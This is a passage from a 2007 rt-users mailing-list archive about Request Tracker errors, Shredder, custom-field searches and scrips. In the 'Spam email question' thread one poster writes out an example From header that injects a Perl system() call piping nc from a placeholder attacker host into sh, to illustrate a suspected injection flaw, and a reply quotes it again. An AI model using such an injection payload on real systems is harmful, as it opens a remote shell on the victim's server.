>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> undef,
>> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> 'id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> 279
>> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1246
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 411
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 168
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 826
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> -e line 0
>> eval {...} at -e line 0
>>
>> If we don't protect the freedom of speech, how will we know who the
>> assholes are?
>> http://theillien.blogspot.com
>>
>>
>> Mathew Snyder wrote:
>> > I think I've asked about this before and I'm fairly certain I
>> already know the
>> > answer.  However, I'm not certain it should be happening.
>> >
>> > We keep getting the error "Can't call method "Name" on an undefined
>> value..."
>> > If I recall correctly this is a result of eliminating via Shredder a
>> user which
>> > was at one point attatched to a ticket.  The only problem with this
>> is that the
>> > only users I remove are those that are created when we receive spam.
>> >
>> > So is this the only explanation?  More and more of these tickets
>> keep appearing
>> > but I can't figure out how all of these users are disappearing.
>> >
>> > Thanks
>> > Mathew
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>> >
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 



From ruslan.zakirov at gmail.com  Thu Feb  8 09:31:32 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 8 Feb 2007 17:31:32 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45CB3283.4080909@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CB3283.4080909@yahoo.com>
Message-ID: <589c94400702080631v3af69f20se5ba74e91c0ca8e3@mail.gmail.com>

On 2/8/07, Mathew <theillien at yahoo.com> wrote:
> Am I correct in assuming that all the txn and u and such are just
> abbreviations and need to be replaced with Users and Transactions in the
> actual query?
Yes, it's aliases, but you shouldn't replace anything except XXXX as
it's SQL's feature. Look into the FROM part, for example "Tickets t",
long variant is "Tickets AS t".

>
> Mathew
>
> Ruslan Zakirov wrote:
> > Please, run the following SQL query:
> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >
> > Where XXXX id of the ticket. Then send me results.
> >
> >
> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> I'd like to add to this.  I've looked at the database and found that
> >> there are
> >> 63 transactions attached to this ticket.  There are also no
> >> transactions for
> >> which there isn't a user.  I've looked up the names on each user id in
> >> the
> >> transactions table and found that they correspond to someone that
> >> would likely
> >> have had a part in the ticket.
> >>
> >> There are as many user id entries as there are transactions.  What I
> >> mean is,
> >> there are multiple entries for some ids but all transactions have a
> >> user id
> >> attached to it.  This tells me that the transactions aren't corrupted
> >> by a
> >> missing user that possibly got Shredded out of the database.
> >>
> >> As I've said before, this isn't the first time we've seen this so I'm
> >> beginning
> >> to think this is a bug of some sort.
> >>
> >> The full error follows.
> >>
> >> error:          Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> context:
> >> ...
> >> 686:    AddWatcher => sub {
> >> 687:    my $self = shift;
> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> >> 689:    $principal->Load($self->NewValue);
> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> >> $principal->Object->Name);
> >> 691:    },
> >> 692:    DelWatcher => sub {
> >> 693:    my $self = shift;
> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> >> ...
> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> >> /usr/local/rt-3.6.1/share/html/autohandler:279
> >>
> >>
> >>
> >> raw error
> >> Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >>
> >>
> >> Trace begun at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
> >> on an
> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> >> line
> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> >> line 690
> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> >> called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> >> HTML::Mason::Commands::__ANON__('Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> >> line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> >>
> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction',
> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> >> 'ARRAY(0xc59f11c)',
> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> >> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> >>
> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
> >> undef,
> >> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> >>
> >> 'id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> >> called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> >>
> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
> >> 279
> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> >>
> >> 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1246
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 411
> >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 168
> >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 826
> >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> >>
> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> -e line 0
> >> eval {...} at -e line 0
> >>
> >> If we don't protect the freedom of speech, how will we know who the
> >> assholes are?
> >> http://theillien.blogspot.com
> >>
> >>
> >> Mathew Snyder wrote:
> >> > I think I've asked about this before and I'm fairly certain I
> >> already know the
> >> > answer.  However, I'm not certain it should be happening.
> >> >
> >> > We keep getting the error "Can't call method "Name" on an undefined
> >> value..."
> >> > If I recall correctly this is a result of eliminating via Shredder a
> >> user which
> >> > was at one point attatched to a ticket.  The only problem with this
> >> is that the
> >> > only users I remove are those that are created when we receive spam.
> >> >
> >> > So is this the only explanation?  More and more of these tickets
> >> keep appearing
> >> > but I can't figure out how all of these users are disappearing.
> >> >
> >> > Thanks
> >> > Mathew
> >> > _______________________________________________
> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> >
> >> > Community help: http://wiki.bestpractical.com
> >> > Commercial support: sales at bestpractical.com
> >> >
> >> >
> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> > Buy a copy at http://rtbook.bestpractical.com
> >> >
> >> _______________________________________________
> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >>
> >> Community help: http://wiki.bestpractical.com
> >> Commercial support: sales at bestpractical.com
> >>
> >>
> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> Buy a copy at http://rtbook.bestpractical.com
> >>
> >
> >
>
>


-- 
Best regards, Ruslan.


From vivek at khera.org  Thu Feb  8 09:52:28 2007
From: vivek at khera.org (Vivek Khera)
Date: Thu, 8 Feb 2007 09:52:28 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <45CABCDD.5090906@yahoo.com>
References: <45CABCDD.5090906@yahoo.com>
Message-ID: <565D59B2-7672-4DE2-826E-A78C625FBDD6@khera.org>


On Feb 8, 2007, at 1:02 AM, Mathew Snyder wrote:

> Shredder doesn't like when an email address contains either a  
> single- or
> double-qoute.  Understandably so considering this messes with Perl  
> and makes it
> look for a closing, matching mark.  This makes me wonder if it is  
> possible to

I don't think it is "understandably so".  It is clearly a bug in  
shredder... but without seeing the error, I can't comment further on  
what the problem might be.

> strip these out of the email *before* it gets inserted as the  
> username/email
> address.  Doing so would allow me to perform automated user shreds  
> rather than
> run my script manually everynight.

This assumes you get no legitimate email addresses with these  
characters.  These characters are legal in the local part of an email  
address (at least the apostrophe is, not 100% sure on the double-quote.)

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From thomas.koch at switch.ch  Thu Feb  8 10:10:50 2007
From: thomas.koch at switch.ch (Thomas Koch)
Date: Thu, 08 Feb 2007 16:10:50 +0100
Subject: [rt-users] Undefined subroutine &Scalar::Util::weaken called
In-Reply-To: <589c94400702080707y481f2fawaffa97d4c5ac109d@mail.gmail.com>
References: <45CADC2F.2070609@switch.ch>
	<589c94400702080707y481f2fawaffa97d4c5ac109d@mail.gmail.com>
Message-ID: <45CB3D7A.1000904@switch.ch>

I've updated the Scalar-List-Util from 1.18 to 1.19 and this fixed my 
problem with the scrips.

Thx anyway.



Ruslan Zakirov wrote:
> Several reasons
> 1) the module has been installed from bad binary package, reinstall it
> from CPAN or compile package yourself
> 2) perl and libperl have been with different options
> 
> On 2/8/07, Thomas Koch <thomas.koch at switch.ch> wrote:
>> Dear list
>>
>> I have the RT almost up and running on a Mac OS X Server. But I ran in
>> another problem.
>>
>> Replying to tickets isn't possible yet. The mails aren't sent to the
>> requestor. I've seen lots of strange error message in the apache2
>> error_log (several "Scrip Prepare died"). But I don't understand what
>> they mean. I have Scalar-List-Utils-1.18 installed!
>>
>>
>> # apache error log:
>>
>> [Thu Feb  8 07:58:04 2007] [error]: Scrip Prepare 7 died. - Undefined
>> subroutine &Scalar::Util::weaken called at
>> /opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm line 107.
>>
>> Stack:
>>    [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:107]
>>    [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:79]
>>    [/opt/switch/rt-3.6.1/lib/RT/ScripAction_Overlay.pm:177]
>>    [/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:472]
>>    [/opt/switch/rt-3.6.1/lib/RT/Scrips_Overlay.pm:237]
>>    [/opt/switch/rt-3.6.1/lib/RT/Transaction_Overlay.pm:171]
>>    [/opt/switch/rt-3.6.1/lib/RT/Record.pm:1446]
>>    [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2442]
>>    [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2356]
>>    [/opt/switch/rt-3.6.1/lib/RT/Interface/Web.pm:570]
>>    [/opt/switch/rt-3.6.1/share/html/Ticket/Display.html:141]
>>    [/opt/switch/rt-3.6.1/share/html/Ticket/Update.html:216]
>>    [/opt/switch/rt-3.6.1/share/html/autohandler:279]
>> (/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:480)
>>
>>
>> Thanks for any help!
>>
>> -- 
>> Thomas
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 

-- 
  ----   SWITCH - The Swiss Education & Research Network   ----
  Thomas Koch; SWITCH; Postfach; CH-8021 Zurich; Switzerland
  thomas.koch at switch.ch;  +41 442681586;  fax: +41 442681568


From mouse at Rodents.Montreal.QC.CA  Thu Feb  8 10:51:00 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 8 Feb 2007 10:51:00 -0500 (EST)
Subject: [rt-users] Spam email question
In-Reply-To: <45CABCDD.5090906@yahoo.com>
References: <45CABCDD.5090906@yahoo.com>
Message-ID: <200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>

> Shredder doesn't like when an email address contains either a single-
> or double-qoute.

An email address, or the name associated with an email address?  If it
really is broken enough to get upset when an email address includes
unbalanced quotes, it's, well, broken; "\(*&$%\""@example.com is a
perfectly good email address, as is '^#&!`|@example.com.  (Some people
have even used such addresses, and find they don't get picked up by
spammer scrapeware - a useful property for email addresses to have.)

Even if it's the associated name, I'd call that somewhat broken.  I
know someone who uses "Patrick O'Reilly" as the name portion of his
email address (not coincidentally, that's his name).

> Understandably so considering this messes with Perl and makes it look
> for a closing, matching mark.

I find that extremely disturbing, because it implies that RT is
encountering these things in contexts where its string parsing code is
kicking in.  This makes me wonder if perhaps a mail bearing a header
like

From: "; system('cat /dev/null | nc evil.cracker.example.org 12345 | sh'); $dummy = " <me at innocent.example.org>

would do something nasty.  (It would even be legal from an email point
of view.)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B


From larskman at gmail.com  Thu Feb  8 11:06:36 2007
From: larskman at gmail.com (fname lname)
Date: Thu, 8 Feb 2007 11:06:36 -0500
Subject: [rt-users] global / RT at a glance error
In-Reply-To: <45CA7196.4070201@bestpractical.com>
References: <e1b63c360702041006p5623ac91ta7eca626eb32e66b@mail.gmail.com>
	<45CA7196.4070201@bestpractical.com>
Message-ID: <e1b63c360702080806r62b16938j5e50aa29f1d3f9e9@mail.gmail.com>

Well, i did run the script too but ill run it again.

On 2/7/07, Jesse Vincent <jesse at bestpractical.com> wrote:
> fname lname wrote:
> > Im getting an error when i go to the "global / RT at a glance error ".
> >
> >
> > error:  Can't call method "Content" on an undefined value at
> > /usr/share/rt3/html/Admin/Global/MyRT.html line 50.
> > context:
> >
> (Apologies if this has already been answered (possibly by me, even). I'm
> on a plane without easy access to archives)
>
> This means you didn't run the database upgrade scripts in 3.6. For
> 3.6.3, we've gone to some lengths to mostly warn about what's going
> wrong a bit better, though we may have missed a spot
>
>
>


From rfh at pipex.net  Thu Feb  8 11:46:36 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Thu, 08 Feb 2007 16:46:36 +0000
Subject: [rt-users] custom field search
Message-ID: <45CB53EC.5000409@pipex.net>

Hi there;
RT 3.6.1 , apache2 mod_perl2 and mysql 5

I have asked this question before , but did not get a valid response ,  
I have a problem searching custom fields values, I can display them in 
the search results , but I can't search for them eg a search
'CF.{Customer_Ref}' LIKE '1234' AND Queue = 'Testing' display 0 results 
where I know there is atleast 1 ..
I can see and edit cf's so its not permission issue ...

I have removed all customisation (apart of RT_SiteConfig) so its nothing 
I did ..
the problem apply to all types of custom fields.

Any help will be appreciated.

Thanks;
Roy


From jb at smarterliving.com  Thu Feb  8 11:33:06 2007
From: jb at smarterliving.com (JB Segal)
Date: Thu, 8 Feb 2007 11:33:06 -0500
Subject: [rt-users] 3.4.5: Adding System Group 'Everyone' to another group?
Message-ID: <20070208163306.GD16640@smarterliving.com>

Hi.
I need to set up a parallel 'everyone' group so that I can give the new
group CreateTicket on most-but-not-all-queues, revoke CreateTicket from
Everyone, and not have to update 2 places when I add a new user - and so
that I don't have to do anything special for auto-created users when
someone new sends mail in to the system.

Creating the new group is trivial. Revoking CT from Everyone is Trivial.
Adding Everyone to the new group is - via the WebUI at least - not
trivial.

A) Can I get a pointer?
B) Why isn't Everyone in the Groups list in
Admin/Groups/Members.html?id=<groupNo>
to begin with?


From puuter at hotmail.com  Thu Feb  8 12:06:16 2007
From: puuter at hotmail.com (Puuter .)
Date: Thu, 8 Feb 2007 17:06:16 +0000
Subject: [rt-users] Scrip to not auto-reply mail send to specific to-address
Message-ID: <BAY132-W22F49D44E60D0D96BB8045DC9D0@phx.gbl>


Hello,I'm new to RT so maybe this seems obvious to you, but since I installed RT (on Windows) I've got this problem:In my company we use internally an e-mailaddress that sends to every mailbox in the domain.Let's say it's the address: everybody AT ourdomain.comEverybody means everybody and so this means dat also rt get's the mail (at the address: rt AT ourdomain.com )Since rt gets an e-mail, rt makes a ticket and sends an auto-reply, which is of course both unnecessary in this case.Ican not make a scrip and refuse/delete the mail based on the from-adresbecause it's a legitime address (an user in our company).Maybelater on this user wants to send a supportquestion to rt ATourdomain.com. He will be using the same from-address, so rejectingbased on the from-address isn't a good idea.Creating a new queue ('spam' or 'trash' or 'wathever') with the 'everybody AT ourdomain.com'-address isn't a solution either.The legitime address 'rt AT ourdomain.com' stays in use and keeps getting the everybody-mails.The only thing I can rely on is the to-address in the header : everybody AT ourdomain.comCansomeone give me a hint or preferably a scrip that I can use so that rtdoesn't react on e-mails that were send to everybody (or some otheraddress)?Many thanks will gou your way, not only from me, butalso from my co-workers whom now recieve unwanted auto-reply's andticketnumbers.Sincerely,Lieven
_________________________________________________________________
Probeer Live.com: je eigen snelle startpagina met alles wat jij belangrijk vindt op ??n plek.
http://www.live.com/getstarted
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From theillien at yahoo.com  Thu Feb  8 13:24:32 2007
From: theillien at yahoo.com (Mathew)
Date: Thu, 08 Feb 2007 13:24:32 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
References: <45CABCDD.5090906@yahoo.com>
	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <45CB6AE0.3080101@yahoo.com>

It is definitely the email portion and not the RT username portion.
When I get to work tonight I will create a user with an email address
such as the one I describe so I can reproduce the error.  I'll post it here.

Mathew

der Mouse wrote:
>> Shredder doesn't like when an email address contains either a single-
>> or double-qoute.
> 
> An email address, or the name associated with an email address?  If it
> really is broken enough to get upset when an email address includes
> unbalanced quotes, it's, well, broken; "\(*&$%\""@example.com is a
> perfectly good email address, as is '^#&!`|@example.com.  (Some people
> have even used such addresses, and find they don't get picked up by
> spammer scrapeware - a useful property for email addresses to have.)
> 
> Even if it's the associated name, I'd call that somewhat broken.  I
> know someone who uses "Patrick O'Reilly" as the name portion of his
> email address (not coincidentally, that's his name).
> 
>> Understandably so considering this messes with Perl and makes it look
>> for a closing, matching mark.
> 
> I find that extremely disturbing, because it implies that RT is
> encountering these things in contexts where its string parsing code is
> kicking in.  This makes me wonder if perhaps a mail bearing a header
> like
> 
> From: "; system('cat /dev/null | nc evil.cracker.example.org 12345 | sh'); $dummy = " <me at innocent.example.org>
> 
> would do something nasty.  (It would even be legal from an email point
> of view.)
> 
> /~\ The ASCII				der Mouse
> \ / Ribbon Campaign
>  X  Against HTML	       mouse at rodents.montreal.qc.ca
> / \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
